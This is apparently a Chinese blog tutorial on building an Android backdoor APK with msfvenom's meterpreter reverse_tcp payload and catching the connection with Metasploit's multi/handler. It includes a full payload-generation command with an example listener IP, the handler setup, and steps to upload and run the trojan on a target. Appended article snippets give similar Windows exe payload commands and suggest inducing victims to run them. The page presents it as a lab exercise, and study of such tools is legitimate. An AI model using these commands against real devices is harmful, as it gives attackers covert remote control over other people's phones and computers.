Metasploit反弹shell.apk实验（Android）

最新推荐文章于 2025-05-18 23:12:04 发布
最新推荐文章于 2025-05-18 23:12:04 发布
阅读量208 收藏 1
点赞数 8
分类专栏： Metasploit复现 文章标签： 安全性测试 网络安全 android
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_51781051/article/details/148017063
版权

一、环境准备

  1. MSF-Metasploit Framework

  2. 一台安装手机或者模拟器

二、木马生成

  1. 生成一个APK后门

  2. msfvenom -p android/meterpreter/reverse_tcp LHOST={监控IP} LPORT={监控端口} R>k.apk。

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.110.38 LPORT=4567 R>k.apk

三、配置监控

  1. 模拟器安装木马文件，通过python或复制传播

  2. 启动msf 终端内输入：msfconsole 启动msf

  3. 载入监控模块 msf中输入： use exploit/multi/handler

  4. 载入payload MSF终端中输入： set payload android/meterpreter/reverse_tcp

  5. 配置payload MSF终端中输入：show options

  6. 配置监控IP MSF中输入：set lhost <监控的IP>

  7. 配置监控端口 MSF中输入：set lporr <监控的端口>

  8. 执行监控 msf终端中输入： run

四、攻击利用

  1. 将木马上传到靶机

  2. 在靶机上执行木马

  3. 完成攻击利用

metasploit局域网木马实现公网反弹
weixin_43062666的博客
09-11 1429
metasploit局域网木马实现公网反弹 众所都周知，metasploit中的venom木马一般只能用在内网环境内。 但是通过内网穿透（NAT）我们可以实现在公网环境下的反弹shell。 首先下载内网穿透软件 本人选择了花生壳 1. 添加映射 首先在花生壳里添加一个映射，应用类型勾选tcp 映射的内网主机设置为127.0.0.1，端口为4444 确保映射已经打开 2.生成木马 打开metasploit su cd /opt/metasploit-framework/bin ./msfconsole
Metasploit
m0_57379855的博客
03-30 3372
Metasploitmetasploit下载ubuntu安装msfubuntu下载Kali开启msfKali下载Kali添加root用户打开msfKali更新msfViper炫彩蛇Kali安装viperMetasploit目录结构Metasploit模块auxiliaryexploitspayloadspostencodersevasionnopsmsfvenom常用参数-l-p-f-e-a-o-b-n-s-i-c-x-k-v各平台生成payload命令WindowsMacAndroidPowershell
Metasploit 反弹Shell
panpan高的博客
04-03 711
Metasploit框架是一款开源的渗透测试平台，由H.D. Moore于2003年开发，后被Rapid7收购。它集成了漏洞扫描、利用、后渗透测试等功能，广泛应用于网络安全评估和漏洞验证​。
msf反弹shell
cj_Hydra's Blog
02-01 1564
windows+exe反弹 使用msfvenom模块生成一个被控端的客户端文件，这里用windows 64为例(如果不加x64，则默认是32位),此时就会生成一个shell.exe的程序。 msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=攻击机ip地址 lport=监听端口 -f exe >shell.exe 在攻击机的m...
metasploit篇
08-21 332
第一部分：基本使用 1、在kali中metasploit默认使用postgresql作为它的数据库； /etc/init.d/postgresql start 开机自启：update-rc.d postgresql enable。2、初次使用数据库服务时需初始化，以便创建系统默认的数据库及数据库用户； msfdb init（默认创建的数据库名：msf，msf_test...
Metasploit基础----msfconsole
weixin_53736204的博客
08-23 2363
MSF所⽤功能主要可分为这⼏个模块，每个模块都有各⾃的功能领域，形成了渗透测试的流程模块路径：/usr/share/metasploit-framework/modules/漏洞利⽤(exploit)：/usr/share/metasploit-framework/modules/exploitspayload模块路径：：/usr/share/metasploit-framework/modules/payloads。
利用Metasploit攻击Android
weixin_30315435的博客
09-21 471
首先我在Kali下生成一个Android的应用程序，即apk格式的文件，用到的命令是： msfvenom -p android/meterpreter/reverse_tcp LHOST=本地ip LPORT=监听端口 R > /root/rb.apk 注释：-p：指的是在本次环境中攻击所使用的payload，这个payload就是将Android攻击成功之后的反弹连接发送到攻...
渗透之——Metasploit命令及模块
热门推荐
冰河的专栏
01-26 3万+
show exploits 列出metasploit框架中的所有渗透攻击模块。 show payloads 列出metasploit框架中的所有攻击载荷。 show auxiliary 列出metasploit框架中的所有辅助攻击载荷。 search name 查找metasploit框架中所有的渗透攻击和其他模块。 info 展示出制定渗透攻击或模块的相关信息。 use name 装载一个渗透攻...
《web渗透测试》Metasploit框架基本命令使用
m0_74100826的博客
11-19 637
Metasploit 是一个流行的渗透测试和漏洞利用框架，广泛用于安全评估、漏洞开发和渗透测试。以下是 Metasploit 框架的基本使用步骤和概念介绍。Metasploit 体系模块的灵活性和强大功能使其成为安全专业人员和渗透测试人员的重要工具。其模块化设计能够有效应对不断变化的网络安全威胁。
Kali linux 学习笔记（九十六）metasploit framework——客户端渗透 2020.4.28
闵行小鱼塘
04-28 929
本节学习客户端渗透
木马渗透安卓系统实验
polaris___的博客
05-30 4693
1.实验内容 Metasploit后门攻击实现远程控制Android手机 2.实验环境 设备 IP 子网掩码 Kali Linux（Hack） 222.20.78.6 255.255.248.0 Android（靶机） 10.11.6...
安全性测试常规测试点全解析：从基础到高级的实战指南
菜狗小测试
04-25 1287
安全性测试是一个覆盖设计、开发、部署、运行全生命周期的系统工程。通过对认证授权、会话管理、输入验证等核心测试点的深度把控，结合自动化工具与人工验证，能够有效降低系统安全风险。安全不是一次性任务，而是持续改进的过程。只有建立常态化的安全测试机制，才能抵御不断演变的网络攻击。希望本文能为你的安全测试工作提供清晰的路线图，欢迎在实践中结合具体场景扩展应用！
一文解读，网络安全行业人才需求情况《网络安全产业人才发展报告》
weixin_59086772的博客
10-18 8697
随着近几天国家网络安全宣传周在全国各地开展活动，网络安全再一次成为热门话题。网络安全不再缩在小小的安全圈子里，惠及面越来越广。不少对网络安全颇有兴趣的朋友非常关心行业前景如何？该怎么提升自我能力，更快地加入网安行列。 今天雨笋君就10月13日在网络安全宣传周上发布的《2021网络安全人才报告》进行一个简单的行业前景分析。 一、网络安全行业市场发展情况 网络时代生活越来越离不开网络，与此同时发生的网络安全攻击事件、非法入侵等等一系列事件都威胁着普通人的生活。没有网络安全保障，个人和企业等重.
PHP8.0版本导出excel失败
pengone的博客
05-17 255
失败原因分析：只有最后一步$writer->save 失败，由于php8.0版本缺少8.2版本的一些新特性导致失败，可以尝试升级或者回退版本。环境：fastadmin框架，不是原版接手的项目。PHP8.0,mysql5.7.// 创建一个新的 Spreadsheet 对象。// 设置 HTTP 头信息。
Android App CAN通信测试
tianpu2320959696的博客
05-16 562
CAN总线协议（Controller Area Network）， 控制器局域网总线，是德国BOSCH（博世）公司研发的一种串行通讯协议总线， 它可以使用双绞线来传输信号，是世界上应用最广泛的现场总线之一。
Laravel 参数验证工具
一眼青苔
05-16 314
Laravel 提供了强大的参数验证工具，简化了数据验证流程。通过创建自定义 FormRequest 类，开发者可以定义验证规则，并在控制器中直接使用该类进行参数验证。如果验证成功，程序继续执行；如果失败，Laravel 会自动返回 422 响应并显示错误信息。此外，还可以使用 Validator 类在控制器中手动验证参数，但推荐使用 FormRequest 类，因为它将验证逻辑与控制器分离，使代码更清晰、易于维护。通过这种方式，开发者可以轻松确保参数（如 book_id）满足特定规则，而无需手动处理验证逻
PHP中的SPL（标准PHP库）：提升开发效率的工具集
2402_82472226的博客
05-16 368
PHP的标准库（SPL，Standard PHP Library）是一个强大的工具集，旨在增强PHP的功能性和开发效率。SPL提供了多种数据结构（如栈、队列）、迭代器（如ArrayIterator、RecursiveIterator）、异常处理机制和自动加载功能，帮助开发者更高效地管理和操作数据。通过实际代码示例，展示了如何使用SplStack、SplQueue等数据结构，以及如何利用迭代器遍历数组和递归遍历多维数组。此外，SPL还提供了自定义异常类和自动加载功能，简化了类的加载过程。SPL的使用可以显著提
Android Activity之间跳转的原理
diaostar的博客
05-14 538
处理器（Handler）创建目标 Activity 实例，依次调用其。当前 Activity 在目标 Activity 启动前执行。Android Activity跳转的底层实现涉及 ‌。封装为标准化请求，并校验权限与目标合法性。，待目标 Activity 完成。回调目标应用进程，触发。
Android 手写签名功能详解：从原理到实践
最新发布
weixin_46560512的博客
05-18 606
Android 手写签名功能详解 1. 引言 2. 手写签名核心实现：SignatureView 类 3. 交互层实现：MainActivity 类 4. 布局与配置 5. 性能优化与扩展方向
metasploit反弹shell
12-27
### 使用 Metasploit 生成反弹 Shell 的 Payload 并执行 #### 创建可执行文件用于反弹 Shell 为了创建能够从目标机器向攻击者发起连接请求的反弹 shell，`msfvenom` 是一个非常有用的工具。通过此命令行工具，可以快速生成多种类型的 payload 文件，适用于不同的操作系统环境。 ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=your_ip_address LPORT=your_port -f exe -o /path/to/output/file.exe ``` 上述命令选择了针对 Windows 系统的 Meterpreter 反弹 TCP 连接载荷，并指定了本地监听 IP 地址 (`LHOST`) 和端口 (`LPORT`) 参数，最后保存为 `.exe` 格式的可执行文件[^3]。 #### 设置 Metasploit 控制台中的侦听器 一旦生成了恶意软件样本，在 Metasploit 中配置好相应的 handler 来接收来自受害者的回调至关重要。这可以通过启动 `multi/handler` exploit 模块完成： ```ruby use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST your_ip_address set LPORT your_port exploit ``` 这段 Ruby 脚本设置了相同的参数以匹配之前生成的有效负载设置，确保当受害者运行带有嵌入式 payload 的应用程序时能成功建立通信通道[^2]。 #### 执行与验证 将生成好的 executable 发送到目标计算机上并诱导其运行；与此同时保持 Metasploit 终端处于开启状态等待连接到来。如果一切顺利的话，不久之后就会看到一个新的 session 建立起来，意味着获得了远程访问权限[^4]。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

快乐的小猪v

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值